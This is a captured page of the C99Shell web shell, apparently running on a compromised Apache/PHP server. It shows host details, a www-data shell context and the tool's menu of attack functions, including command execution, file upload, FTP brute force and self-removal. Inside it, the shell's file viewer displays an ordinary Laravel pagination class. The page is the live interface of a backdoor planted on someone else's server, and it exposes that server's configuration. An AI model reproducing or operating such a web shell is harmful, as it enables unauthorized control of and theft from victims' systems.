!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Http/Resources/Json/   drwxrwxr-x
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaginatedResourceResponse.php (2.5 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Http\Resources\Json;

use 
Illuminate\Support\Arr;

class 
PaginatedResourceResponse extends ResourceResponse
{
    
/**
     * Create an HTTP response that represents the object.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\JsonResponse
     */
    
public function toResponse($request)
    {
        return 
tap(response()->json(
            
$this->wrap(
                
$this->resource->resolve($request),
                
array_merge_recursive(
                    
$this->paginationInformation($request),
                    
$this->resource->with($request),
                    
$this->resource->additional
                
)
            ),
            
$this->calculateStatus(),
            [],
            
$this->resource->jsonOptions()
        ), function (
$response) use ($request) {
            
$response->original $this->resource->resource->map(function ($item) {
                return 
is_array($item) ? Arr::get($item'resource') : $item->resource;
            });

            
$this->resource->withResponse($request$response);
        });
    }

    
/**
     * Add the pagination information to the response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
protected function paginationInformation($request)
    {
        
$paginated $this->resource->resource->toArray();

        
$default = [
            
'links' => $this->paginationLinks($paginated),
            
'meta' => $this->meta($paginated),
        ];

        if (
method_exists($this->resource'paginationInformation')) {
            return 
$this->resource->paginationInformation($request$paginated$default);
        }

        return 
$default;
    }

    
/**
     * Get the pagination links for the response.
     *
     * @param  array  $paginated
     * @return array
     */
    
protected function paginationLinks($paginated)
    {
        return [
            
'first' => $paginated['first_page_url'] ?? null,
            
'last' => $paginated['last_page_url'] ?? null,
            
'prev' => $paginated['prev_page_url'] ?? null,
            
'next' => $paginated['next_page_url'] ?? null,
        ];
    }

    
/**
     * Gather the meta data for the response.
     *
     * @param  array  $paginated
     * @return array
     */
    
protected function meta($paginated)
    {
        return 
Arr::except($paginated, [
            
'data',
            
'first_page_url',
            
'last_page_url',
            
'prev_page_url',
            
'next_page_url',
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--